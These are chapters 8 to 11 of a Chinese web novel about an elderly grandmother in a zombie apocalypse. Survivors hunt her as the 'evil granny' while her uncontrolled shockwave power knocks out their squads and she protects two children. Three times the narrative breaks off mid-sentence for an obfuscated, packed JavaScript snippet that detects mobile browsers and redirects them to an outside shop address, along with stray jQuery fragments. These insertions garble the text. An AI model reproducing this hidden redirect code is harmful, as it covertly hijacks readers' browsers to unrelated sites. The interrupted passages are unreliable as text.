不过短短几秒钟,刚才还气势汹汹、全副武装的猎杀小队,全军覆没,全都昏死在地上,没有一个人能站起来,国道上一片狼藉,尘土弥漫,久久不散。
王桂香抱着乐乐,呆呆地站在原地,手里的柴刀不知道什么时候掉在了地上,整个人都懵了,浑浊的眼睛里,满是不可置信,和地上昏死的猎杀队员一样,充满了惊恐。
8. 第 8 章
她看着自己布满老茧、微微颤抖的手,看着地上昏死一片的猎杀小队,看着被震得变形的废弃车辆,脑子一片空白,根本不知道发生了什么。
她只是下意识地挥了一下柴刀,想要格挡攻击,保护乐乐,怎么就变成这样了?这些人怎么全都昏死了?那道白光是什么?那股震荡波又是怎么回事?
“俺……俺滴老天爷啊……俺刚才干啥了?”王桂香喃喃自语,声音颤抖,满脸惊恐,浑身都在发抖,她以为自己杀人了,杀了这些幸存者,心里又怕又慌,眼泪瞬间掉了下来。
她一辈子没害过人,连鸡都很少杀,现在一下子“弄晕”了这么多人,她根本不知道自己做了什么。
尘土渐渐散去,国道上的狼藉尽数映入王桂香眼帘,她抱着乐乐的手还在不停发抖,浑浊的眼睛里满是惶恐与无措,看着眼前横七竖八昏死在地的猎杀小队成员,心脏像是被一只无形的手紧紧攥住,连呼吸都变得滞涩。
地上的壮汉们个个瘫软,有的额头磕在废弃车辆的铁皮上,渗出血丝,有的胳膊扭曲,显然是被震荡波震伤了筋骨,之前还凶神恶煞的武器,要么碎成几段,要么歪歪扭扭掉在一旁,那两把锈迹斑斑的猎枪,更是被震得变了形,枪管弯折,彻底成了废铁。整个路段一片死寂,只剩下风吹过杂物的轻响,还有大黄低沉的呜咽声,大黄凑到王桂香脚边,用脑袋轻轻蹭着她的裤腿,像是在安抚受惊的主人,眼神里也带着一丝不解,不明白刚才那股强大的力量从何而来。
乐乐缩在王桂香怀里,小身子还在微微打颤,刚才的巨响和刺眼的白光,把孩子吓得不轻,他紧紧抓着王桂香的衣角,小声问道:“奶奶,他们……他们怎么了?是不是都被你打晕了?刚才好吓人啊。”
王桂香张了张嘴,却发不出完整的声音,她低头看着自己布满老茧、粗糙干裂的双手,这双手一辈子只做过种地、砍柴、喂鸡、做饭的活计,连杀鸡都要闭着眼,怎么可能一下子震晕十几个壮实的汉子?她明明只是下意识挥了一下柴刀,只是想护住怀里的孩子,根本没想过要伤人,更没想过会闹出这么大的动静。
“俺……俺不知道啊乐乐,奶奶啥也没做,奶奶就是想护着你……”王桂香的声音带着哭腔,眼泪顺着布满皱纹的脸颊滑落,砸在乐乐的头顶,心里又怕又委屈。她活了七十年,从没像现在这样慌乱,她不懂什么是异能,更不知道自己为什么会突然爆发出那样的力量,只觉得自己像是闯了弥天大祸,这些人是幸存者,是和她一样在末世里挣扎求生的人,她却把他们都弄伤了,传出去,她的罪名就更洗不清了。
她慢慢放下乐乐,蹲下身,想上前看看这些人还有没有气,想帮他们简单处理一下伤口,可刚迈出一步,大黄就猛地挡在她身前,对着地上的猎杀队员狂吠几声,眼神警惕,不让她靠近。大黄通人性,它知道这些人是来伤害王桂香的,即便他们现在昏死过去,也依旧带着危险,它要护着王桂香,不能让她再靠近这些人,免得他们醒了再动手伤人。
王桂香看着护主的大黄,心里一暖,却也更加无奈:“大黄,俺知道他们是坏人,可他们也是人啊,俺不能就这么把他们丢在这里,万一醒不过来,万一被邪祟发现了,就没命了。”
她不顾大黄的阻拦,慢慢走到为首的壮汉身边,蹲下身,伸手探了探他的鼻息,还好,还有呼吸,只是晕了过去,没有生命危险。她又挨个检查了其他队员,大多都是被震荡波震晕,有些轻微的外伤,没有性命之忧,这才松了口气,瘫坐在地上,拍着胸口喃喃自语:“还好,还好,没出人命,不然俺这辈子都良心不安。”
可即便如此,她也清楚,这件事绝不会就这么算了。这些人是幸存者据点的猎杀小队,如今集体被她“打晕”,消息一旦传出去,“邪恶老奶”的传说只会更加恐怖,她会被更多幸存者当成敌人,往后的路,只会更难走。之前只是被误会斩杀幸存者,现在又“重伤”猎杀小队,她这个“极度危险的恶魔”形象,算是彻底坐实了。
“奶奶,我们快走吧,这里太危险了,万一他们醒了,又要抓我们了。”乐乐拉着王桂香的手,小脸上满是担忧,他虽然年纪小,却也明白,这些人醒了之后,肯定不会放过他们,留在这只会惹上更多麻烦。
王桂香看着乐乐担忧的小脸,又看了看地上昏死的猎杀队员,最终还是点了点头。她知道乐乐说的对,这里不能久留,先不说这些人醒了会报复,万一引来其他邪祟或者幸存者,她和乐乐、大黄都走不掉。她现在满身冤屈,根本无处辩解,幸存者们只信传说,不信她的话,与其留下来被人围堵,不如赶紧赶路,早点到省城,找到小宝,比什么都重要。
她最后看了一眼地上的猎杀队员,心里默默说了句“对不住”,不是她想伤他们,是他们先咄咄逼人,要置她于死地,她只是自保而已。她捡起掉在地上的柴刀,重新背好帆布包,包里的干粮早就所剩无几,鸡蛋钱还在,那本翻烂的《圣经》也安安稳稳躺在包里,像是在默默陪着她。
王桂香拉着乐乐的手,大黄走在最前方,三人再次踏上前往省城的国道,只是这一次,王桂香的脚步比之前更加沉重,心里的委屈和不安也更甚。她低着头,看着脚下坑坑洼洼、满是杂物的路面,眼泪时不时就掉下来,她想不通,自己只是一个想找孙子的老太太,本本分分,从没害过人,为什么就成了人人喊打的“邪恶老奶”?为什么末世之下,连一点信任和善意都容不下?
之前在路上遇到幸存者,只是躲着她、怕她,现在经过猎杀小队这件事,路上的幸存者对她更是避之不及,甚至远远看到她的身影,就立马四散奔逃,连东西都顾不上拿,嘴里还大喊着“邪恶老奶来了,快跑啊”,恐慌的情绪像瘟疫一样蔓延。
有一次,王桂香看到路边废弃的小超市里有几个幸存者在找吃的,她想着自己包里没干粮了,想上前问问能不能用鸡蛋钱换点吃的,顺便问问省城还有多远,有没有人见过她的孙子小宝。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509478|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可她刚走近几步,那几个幸存者就吓得魂飞魄散,手里的东西扔了一地,连滚带爬地从超市后门跑了,边跑边喊:“别杀我们!我们没有吃的,放过我们吧!”
王桂香站在超市门口,手里还攥着那包鸡蛋钱,脚步僵在原地,心里像被针扎一样疼。她想喊住他们,想解释自己不是坏人,想告诉他们她只是想换点吃的,想找孙子,可那些人跑得太快,转眼就没了踪影,只留下满地狼藉和空荡荡的超市。
她走进超市,里面早就被翻得乱七八糟,货架倒在地上,零食、饮料散落一地,大多都被踩碎了,只剩下几包没开封的饼干和半瓶矿泉水,藏在货架底下。王桂香小心翼翼地捡起来,擦干净上面的灰尘,没有多拿,只拿了这几包饼干和半瓶水,又把鸡蛋钱放在超市的柜台上,算是买这些东西的钱。她一辈子做人堂堂正正,不偷不抢,即便是末世,也不能占别人的便宜,这是老伴儿教她的道理,她记了一辈子。
乐乐看着王桂香落寞的样子,小声安慰道:“奶奶,别难过,等我们找到小宝,小宝一定会相信你的,我们以后再也不理那些坏人了。”
王桂香摸了摸乐乐的头,强颜欢笑:“奶奶不难过,有乐乐和大黄陪着奶奶,奶奶啥都不怕。”话虽这么说,可心里的委屈和无助,却只有她自己知道。
一路往前走,国道上的废弃车辆越来越多,景象也越来越惨烈,随处可见散落的尸体和黑红色的血迹,邪祟的数量也比之前多了不少,它们漫无目的地在路面上挪动,发出“嗬嗬”的怪声,腥臭气味弥漫在空气中。王桂香带着乐乐,尽量躲着这些邪祟走,能不正面冲突就不冲突,她现在怕极了自己再无意识爆发力量,再伤到人,让误会更深。
可有些时候,躲避根本没用。
这天下午,太阳毒辣辣地挂在天上,晒得地面发烫,王桂香和乐乐走得又累又渴,包里的饼干只剩下最后一包,水也喝完了,乐乐嘴唇干裂,脸色发白,走几步就喘得厉害,王桂香看着心疼,却也找不到水源,只能咬牙继续往前走,想着前面或许能找到河流或者水井。
走到一处高架桥下面时,桥洞阴暗潮湿,里面躲着五六只邪祟,都是之前车祸遇难的人变成的,它们听到动静,猛地转过头,灰白的眼睛死死盯着王桂香和乐乐,发出凶狠的怪声,朝着他们扑了过来。
桥洞空间狭小,前后都被废弃车辆堵住,根本没有退路,躲无可躲。乐乐吓得大哭起来,大黄立马冲上去,对着邪祟狂吠,试图拦住它们,可邪祟数量太多,大黄根本拦不住,一只邪祟绕过大黄,朝着乐乐扑了过去,腥臭的口气扑面而来。
“乐乐躲开!”王桂香大喊一声,想都没想,一把将乐乐拉到身后,举起手里的柴刀,朝着扑过来的邪祟砍去。这一次,她刻意控制着力道,只想把邪祟砍退,不想伤它性命,可慌乱之下,力道还是没控制住,柴刀挥出的瞬间,又有一丝微弱的白光闪过,那只邪祟瞬间被震飞出去,撞在桥墩上,一动不动了。
9. 第 9 章
其他邪祟见状,非但没退,反而更加凶狠,一起朝着王桂香扑来。王桂香护着乐乐,只能不停挥舞柴刀,每一次挥刀,都有微弱的力量爆发,邪祟一只只被震飞、被砍倒,可她心里却越来越慌,她能感觉到,自己身体里像是有一股用不完的力量,不受控制,每次遇到危险,都会自己爆发出来,她根本掌控不了。
短短几分钟,五六只邪祟就全都倒在了地上,桥洞里只剩下王桂香和乐乐的喘息声,大黄凑过来,舔了舔王桂香的手,示意安全了。
王桂香看着地上的邪祟尸体,手里的柴刀掉在地上,浑身发软,眼泪再次掉了下来。她不想这样,不想拥有这股奇怪的力量,不想被人当成怪物,不想被所有人误会,她只想做个普通的老太太,安安稳稳找到孙子,一家人团聚。
就在这时,桥洞上方传来一阵细碎的脚步声,还有人倒吸冷气的声音。王桂香抬头一看,只见高架桥上面,站着七八个幸存者,他们拿着望远镜,正惊恐地看着桥洞里的她,眼神里满是恐惧,手里的对讲机不停传递着消息,声音颤抖:“快!快上报!‘邪恶老奶’在K45段高架桥,徒手斩杀多只感染者,力量比之前更强,极度危险!提醒所有据点,加强防备,组织更强大的猎杀小队,一定要除掉她!”
王桂香看着他们,想抬头解释,想喊出自己的委屈,可那些幸存者根本不给她机会,看完之后,立马转身跑了,转眼就没了踪影。
她知道,自己的冤屈,又多了一笔。“邪恶老奶”斩杀感染者的画面,又被人看到了,这股不受控制的力量,只会让她的罪名越来越重,让她离“找孙子”的初心越来越远。
她捡起柴刀,拉着乐乐,慢慢走出桥洞,阳光洒在身上,却暖不了她冰冷的心。她看着前方望不到头的国道,心里满是迷茫,这条路,到底还要走多久?省城到底还有多远?小宝到底还安不安全?她满身冤屈,被全人类通缉,真的能顺利找到小宝吗?
乐乐看出了奶奶的迷茫,紧紧抓着她的手:“奶奶,别害怕,我陪着你,大黄也陪着你,我们一定能找到小宝的,等找到小宝,我们就找个没人的地方,安安稳稳过日子,再也不跟别人打交道了。”
王桂香看着懂事的乐乐,心里稍稍有了一丝慰藉,她点了点头,擦了擦眼泪,重新背起帆布包,握紧柴刀:“好,咱听乐乐的,不管多难,咱都要走到省城,找到小宝。”
可她不知道,此时,附近几个大型幸存者据点,已经因为她的存在,彻底炸开了锅。各个据点的负责人召开紧急会议,整合所有力量,组建了一支数十人的精英猎杀小队,配备了更先进的武器,甚至还有几辆改装过的装甲车,誓要将这个“威胁全人类生存的邪恶老奶”斩杀,他们把她当成了末世里最大的敌人,却从没有人想过,要听一听她的解释,要了解一下事情的真相。
而王桂香,依旧带着乐乐和大黄,一步一步,走在荒凉的国道上,满身冤屈,无人诉说,前路漫漫,危机四伏,可她找孙子的信念,从未动摇。她不知道,下一次遇到的,会是邪祟,还是更强大的猎杀小队,也不知道,自己身体里的力量,下次又会在什么时候爆发,她只能走一步看一步,守着心里的那点念想,艰难前行。
离开高架桥后,王桂香刻意挑着偏僻的小路走,避开主国道,尽量不与任何幸存者碰面,只想安安静静赶路,减少不必要的麻烦。可即便如此,“邪恶老奶”的传说还是像长了翅膀一样,越传越广,越传越邪乎,从最初的斩杀感染者、反击恶人,演变成了生吃活人、徒手撕钢铁、操控怪物,甚至有人说她是怪雨的源头,是末世的灾星,所有的灾难都是她带来的。
一路上,王桂香偶尔能听到远处幸存者的议论,那些不堪入耳的话,像刀子一样扎在她心上,可她只能忍着,假装没听见,低着头,加快脚步往前走。乐乐年纪小,听不懂那些话的意思,只是紧紧跟着王桂香,大黄则时刻保持警惕,但凡听到一点陌生人的声音,就会立马护在王桂香和乐乐身前,不让任何人靠近。
小路比国道难走得多,坑坑洼洼,杂草丛生,两旁都是荒地和树林,时不时有邪祟从树林里钻出来,王桂香只能小心翼翼地躲避,实在躲不过去,就只能出手,每次出手,她都尽量控制力道,可还是会不小心爆发力量,引来远处幸存者的注意,让传说更加离谱。
这天傍晚,天色渐渐暗了下来,夕阳把天空染成了血红色,透着一股诡异的氛围。王桂香带着乐乐和大黄,走到一处废弃的村庄边缘,这个村子比王家坳小一些,看起来也是遭遇了怪雨,整个村子静悄悄的,没有一点人声,只有偶尔传来的邪祟怪声,破败的房屋东倒西歪,院子里的杂草长到半人高,一片荒凉。
王桂香想着,天黑了,在野外过夜太危险,不如找一间相对完整的屋子,暂时躲进去过夜,等天亮了再赶路。她带着乐乐,慢慢走进村子,大黄在前面探路,鼻子不停嗅着,排查危险。
村子里的房屋大多是土坯房,很多都塌了,院子里散落着各种杂物,还有零星的血迹,显然也遭遇了邪祟的侵袭。王桂香挨个查看房屋,想找一间门窗完整、没有邪祟的屋子,走了大半村子,终于在村尾找到一间小土房,屋子虽然破旧,但门窗都还在,里面干净整洁,没有邪祟活动的痕迹,角落里还有一张小床,看起来能遮风挡雨。
她把乐乐带进屋,关好门窗,用木棍顶住门,又检查了四周,确认安全后,才松了口气,让乐乐坐在小床上休息。她从帆布包里掏出最后一包饼干,掰成两半,一半给乐乐,一半自己吃,大黄则趴在门口,守着房门,警惕地看着外面。
乐乐吃着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509479|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饼干,小口小口的,舍不得吃,他知道这是最后一点吃的了,吃完了,接下来就只能饿肚子。王桂香看着孩子懂事的样子,心里一阵发酸,她摸了摸乐乐的头,说道:“乐乐慢慢吃,明天奶奶一定给你找吃的,找水,咱不会饿肚子的。”
乐乐点了点头,乖乖吃着饼干,没过一会儿,就听到屋子外面传来一阵微弱的哭声,是小孩的哭声,细细小小的,带着恐惧和无助,在寂静的村子里,显得格外清晰。
王桂香心里一紧,立马停下手里的动作,竖起耳朵听着,哭声是从村子中间的方向传来的,断断续续,听起来像是一个很小的孩子,最多三四岁的样子。
乐乐也听到了哭声,小脸上满是同情:“奶奶,是小弟弟在哭吗?他是不是也和爸爸妈妈走散了?我们去看看他吧,他一个人肯定很害怕。”
王桂香犹豫了,她现在自身难保,满身冤屈,不敢再随便接触陌生人,更不敢再随意展露善意,之前救那对夫妻,反被恩将仇报,出手自保,又被当成杀人恶魔,她怕这次再出手帮忙,又会被人误会,又会引来杀身之祸。
可那哭声实在太可怜了,撕心裂肺,满是恐惧,像一根针,不停扎着她的心。她这辈子最见不得孩子受苦,尤其是这么小的孩子,末世之下,失去亲人,独自面对恐惧,太残忍了。她想起了自己的孙子小宝,小宝小时候,要是找不到她,也会这样哭,要是小宝现在也一个人在外流浪,是不是也这么害怕,这么无助?
想到小宝,王桂香的心软了,不管有多大的风险,不管会不会被人误会,她都不能眼睁睁看着这么小的孩子独自待在外面,万一遇到邪祟,万一遇到坏人,孩子就没命了。
“乐乐在屋里待着,别出声,别乱跑,奶奶出去看看,很快就回来。”王桂香叮嘱道,握紧手里的柴刀,轻轻打开房门,慢慢走了出去,大黄跟在她身边,寸步不离。
哭声越来越近,王桂香顺着哭声,走到村子中间的一间破院子里,院子里的塌了一半,一个穿着红色小裙子的小女孩,正坐在院子中央的地上,哇哇大哭,小女孩看起来只有三岁多,扎着两个小辫子,头发凌乱,脸上满是灰尘和泪痕,身上的小裙子破了好几个洞,小胳膊小腿上还有几道擦伤,看着格外让人心疼。
院子里没有大人,只有小女孩一个人,周围也没有邪祟的踪迹,显然是和家人走散了,独自在这里哭了很久。
王桂香看着小女孩,心里一阵发酸,快步走过去,蹲下身,轻声说道:“孩子,别哭了,奶奶在这里,不怕啊。”
小女孩听到声音,慢慢停止了哭泣,抬起头,泪眼婆娑地看着王桂香,小脸上满是恐惧,往后缩了缩,显然是怕生。可看着王桂香慈祥的眼神,又慢慢放下了警惕,小声说道:“奶奶,我要妈妈,我要爸爸……”
10. 第 10 章
“好孩子,你爸爸妈妈呢?怎么就你一个人在这里啊?”王桂香轻声问道,伸手想帮小女孩擦去脸上的泪痕,动作轻柔得不像话。
“怪物……怪物来了,爸爸妈妈让我跑,我就跑了,然后就找不到爸爸妈妈了……”小女孩抽抽搭搭地说道,眼泪又掉了下来,小小的身子不停发抖。
王桂香听着,心里更加心疼,她把小女孩抱起来,轻轻拍着她的背,安慰道:“不怕不怕,奶奶保护你,咱先跟奶奶回屋里,外面不安全,等天亮了,奶奶帮你找爸爸妈妈,好不好?”
小女孩点了点头,紧紧抱着王桂香的脖子,把小脸埋在她的怀里,不再哭了,显然是在王桂香这里感受到了安全感。大黄看着小女孩,也没有狂吠,只是轻轻摇了摇尾巴,围着王桂香转了一圈,确认没有危险后,守在一旁。
王桂香抱着小女孩,慢慢往村尾的小土房走,心里想着,先把孩子安顿好,等天亮了,再帮她找父母,要是找不到,就带着她一起走,反正她要去省城,路上多一个孩子,不过是多一双筷子,她就算自己饿肚子,也不会让孩子受苦。
可她不知道,她抱小女孩的这一幕,刚好被躲在远处破屋里的两个幸存者看到了。这两个幸存者是一对年轻夫妻,本来是躲在村里找吃的,听到哭声想出来看看,又怕遇到邪祟,就躲在远处观望,刚好看到王桂香从屋里出来,抱起小女孩。
在他们眼里,“邪恶老奶”是吃人肉、抓小孩的恶魔,此刻看到王桂香抱起小女孩,立马就脑补出了“邪恶老奶要抓小孩吃掉”的画面,吓得浑身发抖,不敢出声,赶紧拿起对讲机,颤抖着声音汇报:“发现‘邪恶老奶’!在西边废弃村落,正在抓捕幼童,疑似要残害孩童!极度残忍,请求支援!请求猎杀小队赶紧过来!”
这条消息,瞬间传到了各个幸存者据点,原本就对王桂香充满恐惧的幸存者们,更是炸开了锅,所有人都骂她心狠手辣,连小孩子都不放过,猎杀小队的行进速度再次加快,朝着这个废弃村落赶来,誓要救下孩子,斩杀这个“无恶不作的老妖婆”。
而王桂香,对此一无所知,她抱着小女孩,回到小土房,乐乐看到多了一个小妹妹,立马热情地凑过来,把自己手里剩下的一点点饼干递给小女孩:“小妹妹,给你吃饼干,别怕,我们保护你。”
小女孩看着乐乐,怯生生地接过饼干,小口吃了起来,脸上渐渐有了一丝血色。王桂香找了干净的破布,沾了点凉水,轻轻给小女孩擦拭脸上的灰尘和胳膊上的伤口,动作轻柔,生怕弄疼她。
“奶奶,她叫什么名字啊?”乐乐问道。
王桂香摇了摇头,看向小女孩,轻声问道:“孩子,你叫什么名字啊?告诉奶奶好不好?”
“我叫妞妞……”小女孩小声说道,声音软软糯糯的。
“妞妞乖,以后跟着奶奶,跟着哥哥,咱一起走,一起找爸爸妈妈。”王桂香笑着说道,把妞妞抱到小床上,让她和乐乐坐在一起,两个孩子依偎在一起,渐渐熟络起来,不再害怕。
王桂香看着两个孩子安稳的样子,心里稍稍有了一丝暖意,哪怕外面全是误会,全是追杀,只要有孩子在身边,她就觉得自己做的是对的,善意从来都不是错,错的是那些只信传说、不分青红皂白的人。
她守在门口,一夜未眠,一边防备着邪祟,一边防备着可能出现的幸存者,心里想着,天亮了就赶紧离开这个村子,不能在这里久留,免得给妞妞和乐乐带来危险。
可她还是慢了一步。
天刚蒙蒙亮,村子外面就传来了整齐的脚步声,还有车辆行驶的声音,比之前的猎杀小队人数更多,动静更大,显然是那支精英猎杀小队赶到了。
“里面的‘邪恶老奶’听着!赶紧把孩子放了!束手就擒!不然我们就冲进去,把你碎尸万段!”外面传来loud的喊话声,声音冰冷,带着浓浓的杀意,还有子弹上膛的声音,密密麻麻的武器,对准了这间小土房。
乐乐和妞妞被吓得大哭起来,紧紧抱着王桂香,浑身发抖。王桂香脸色惨白,把两个孩子紧紧护在怀里,心里又气又急,她知道,又是误会,又是那些不分青红皂白的人,可这一次,对方人数更多,武器更精良,她根本跑不掉。
她看着怀里两个受惊的孩子,心里暗暗发誓,就算拼了这条老命,也一定要保护好他们,绝对不能让这些人伤害到孩子。她不知道,这一次,自己身体里的力量,又会在什么时候爆发,又会引来怎样的后果,可她别无选择,只能迎难而上。
窗外的天光刚透进来,村子里就被一股浓烈的杀气笼罩,精英猎杀小队将王桂香所在的小土房围得水泄不通,里三层外三层,连一只苍蝇都飞不出去。
小队成员个个全副武装,穿着厚重的防护甲,手里拿着砍刀、铁棍,还有十几把猎枪和自制的步枪,几辆改装过的装甲车停在村口,黑洞洞的枪口对准小土房,为首的是一个面色冷峻的中年男人,脸上带着一道刀疤,眼神阴鸷,手里拿着一把手枪,是附近几个据点联合推举的猎杀队长,名叫赵虎,在末世里杀过不少邪祟,也镇压过不少闹事的幸存者,心狠手辣,行事果断。
赵虎看着眼前的小土房,对着对讲机冷声下令:“所有人做好准备,里面的‘邪恶老奶’极度危险,还挟持了两个孩子,大家小心行事,先确保孩子安全,再将其斩杀,绝不能留活口!”
“是!”队员们齐声应道,声音洪亮,神情严肃,在他们眼里,王桂香就是十恶不赦的恶魔,挟持幼童,残害幸存者,必须除掉。
土房里,王桂香紧紧抱着乐乐和妞妞,两个孩子吓得哇哇大哭,小身子不停发抖,妞妞紧紧抓着王桂香的衣服,嘴里喊着“奶奶别怕”,乐乐也强忍着恐惧,护在妞妞身前,大黄趴在门口,毛发根根竖起,对着门外狂吠,声音洪亮,试图吓退外面的人,可它只是一条老狗,面对这么多手持武器的人类,根本起不到任何作用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509480|202936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
王桂香的心沉到了谷底,她看着怀里的两个孩子,又看了看门口狂吠的大黄,眼泪止不住地往下掉。她明明是救了妞妞,明明是在保护孩子,却被当成了挟持幼童的恶魔,她满身冤屈,却连辩解的机会都没有,外面的人根本不听她解释,一心要置她于死地。
“俺没有挟持孩子!俺是救了她!俺是好人!你们放过孩子,要杀就杀俺!”王桂香对着门外大喊,声音沙哑,带着浓浓的委屈和绝望,她不怕死,可她怕这些人伤害到乐乐和妞妞,怕自己死了,两个孩子没人照顾,在末世里活不下去。
“死到临头还敢狡辩!所有人都看到你抓了孩子,你这个恶魔,少在这里装可怜!”赵虎冷冷说道,根本不信王桂香的话,“我数三声,你要是不把孩子送出来,我们就开枪了,到时候,子弹无眼,伤到孩子,可别怪我们!”
王桂香浑身发抖,她知道赵虎说到做到,这些人为了杀她,根本不会顾及孩子的死活,她不能拿孩子的性命冒险。她慢慢松开孩子,擦了擦眼泪,对着乐乐和妞妞轻声说道:“乐乐,妞妞,乖,别怕,奶奶在外面跟他们说清楚,你们在屋里待着,不管听到什么声音,都别出来,好不好?”
“奶奶,你别出去,他们会杀了你的!”乐乐哭着说道,紧紧拉着王桂香的手,不让她走。
妞妞也抱着王桂香的腿,哭着喊:“奶奶别走,妞妞怕……”
王桂香看着两个孩子,心如刀割,却还是狠下心,轻轻推开他们:“奶奶必须出去,奶奶不出去,他们会冲进来伤害你们,奶奶没事的,很快就回来,听话,在屋里待着,别出声。”
她把两个孩子安顿在床角,用被子盖住,又用木棍把房门从里面顶住,不让外面的人轻易进来,然后握紧柴刀,深吸一口气,推开窗户,跳了出去,落在院子里,背对着小土房,挡住房门,不让任何人靠近。
赵虎看到王桂香跳出来,眼神一冷,挥了挥手,示意队员们围上去:“果然是你这个老妖婆,还敢出来,今天就是你的死期!”
十几名队员立马围了上来,手里的武器对准王桂香,一步步逼近,眼神凶狠,杀气腾腾。王桂香站在院子中央,佝偻着身子,手里紧紧握着柴刀,浑浊的眼睛里满是决绝,她看着眼前密密麻麻的人,看着那些冰冷的武器,没有丝毫退缩,她要守着身后的小土房,守着里面的两个孩子,哪怕拼尽最后一口气,也不能让他们靠近。
“俺再说最后一遍,俺没有害过人,没有挟持孩子,那个小女娃是俺在院子里捡到的,她和父母走散了,俺只是想保护她,俺只是一个去省城找孙子的老太太,你们为什么就是不信?”王桂香的声音带着哭腔,一遍遍地解释,可在赵虎等人听来,这只是她的狡辩。
“冥顽不灵!动手!”赵虎一声令下,再也没有耐心,两名手持砍刀的队员率先冲了上去,砍刀带着风声,朝着王桂香的肩膀砍去,力道极大,显然是想一招将她制服。
11. 第 11 章
王桂香年纪大了,腿脚不便,躲闪不及,只能举起柴刀格挡,“哐当”一声,柴刀和砍刀碰撞在一起,火星四溅,王桂香被震得连连后退,胳膊发麻,虎口开裂,渗出血丝。
她本就不是这些年轻壮汉的对手,若不是身体里那股不受控制的力量,她早就死在邪祟和猎杀小队手里了。可这一次,她刻意压制着体内的力量,不想再爆发,不想再伤人,不想让误会更深,她只想用自己的方式,护住身后的孩子。
可她的退让,在猎杀小队眼里,却成了示弱。
越来越多的队员冲了上来,铁棍、砍刀一起朝着她身上招呼,子弹也在她身边呼啸而过,打在土墙上,溅起阵阵泥土。王桂香只能不停躲闪,用柴刀艰难格挡,身上很快就挨了好几铁棍,疼得她龇牙咧嘴,背上、胳膊上全是淤青,伤口撕裂,鲜血浸透了衣服,可她依旧死死守在房门前,没有后退一步。
“奶奶!”屋里的乐乐听到外面的动静,哭喊着想要冲出来,却被房门挡住,只能拼命拍打着房门。
妞妞也吓得大哭,两个孩子的哭声,让王桂香的心更加疼,她咬着牙,强忍着身上的疼痛,继续格挡,心里只有一个念头:不能倒,绝对不能倒,孩子还在屋里,她倒了,孩子就完了。
赵虎看着王桂香苦苦支撑的样子,眼神越发冰冷,他没想到这个老太太这么能扛,挨了这么多下,还能站着,他举起手里的手枪,对准王桂香的胸口,冷声说道:“既然你不肯束手就擒,那就别怪我不客气了!”
子弹上膛,冰冷的枪口对准王桂香,只要赵虎轻轻扣动扳机,王桂香就会命丧当场。
王桂香看着对准自己的枪口,心里一片绝望,她知道,自己躲不过这一枪了,她不怕死,可她放心不下屋里的两个孩子,放心不下远在省城的小宝,她还没找到孙子,还没帮妞妞找到父母,还没洗清自己的冤屈,她不能死!
就在赵虎扣动扳机的瞬间,王桂香看着屋里孩子的哭声,看着身上的伤口,看着眼前这些咄咄逼人的人,积压在心里的委屈、恐惧、愤怒,瞬间爆发出来,体内那股不受控制的力量,再也压制不住,猛地朝着四周炸开!
这一次,比之前震晕猎杀小队时的力量更强,更猛烈,刺目的白光瞬间笼罩整个院子,比太阳还要耀眼,震耳欲聋的巨响再次响起,整个地面都在剧烈震动,院子里的土墙瞬间倒塌,杂物漫天飞舞。
冲在最前面的几名队员,瞬间被强大的震荡波掀飞,重重摔在地上,昏死过去,手里的武器碎成渣。赵虎手里的手枪,瞬间被震飞,子弹打偏,他自己也被震荡波震得连连后退,撞在装甲车上,口吐鲜血,昏死过去。
围在院子周围的队员,无一幸免,全都被震荡波震倒,有的昏死,有的受伤惨叫,装甲车被震得变形,车轮脱落,枪支弹药散落一地,整个村子一片狼藉,惨叫声、轰鸣声交织在一起,乱作一团。
白光渐渐散去,震荡波慢慢平息,王桂香站在院子中央,浑身是伤,衣服破烂,手里的柴刀早就飞了出去,她呆呆地站着,看着眼前倒地一片的猎杀队员,看着变形的装甲车,看着自己颤抖的双手,再次陷入了惊恐。
她又失控了,又伤了这么多人,她不是故意的,她只是想保护孩子,只是不想死,可这股力量,根本不受她控制,每一次爆发,都让她的罪名更重,让她离深渊更近一步。
“俺……俺真的不是故意的……”王桂香喃喃自语,腿一软,瘫坐在地上,身上的伤口疼得厉害,可心里的疼,比身上的伤口更甚,她不知道,自己到底该怎么做,才能结束这一切,才能洗清冤屈,才能安安稳稳找到孙子。
屋里的乐乐和妞妞听到外面没了动静,慢慢停止了哭泣,小心翼翼地推开房门,跑了出来,看到瘫坐在地上的王桂香,立马扑到她怀里,哭着说道:“奶奶,你没事吧,你别吓我们……”
王桂香抱着两个孩子,再也忍不住,放声大哭起来,七十年的委屈,末世的苦难,满身的冤屈,在这一刻,全部爆发出来,哭声在寂静的村子里回荡,凄凉又无助。
大黄凑过来,舔着她脸上的泪水,陪着她一起难过。
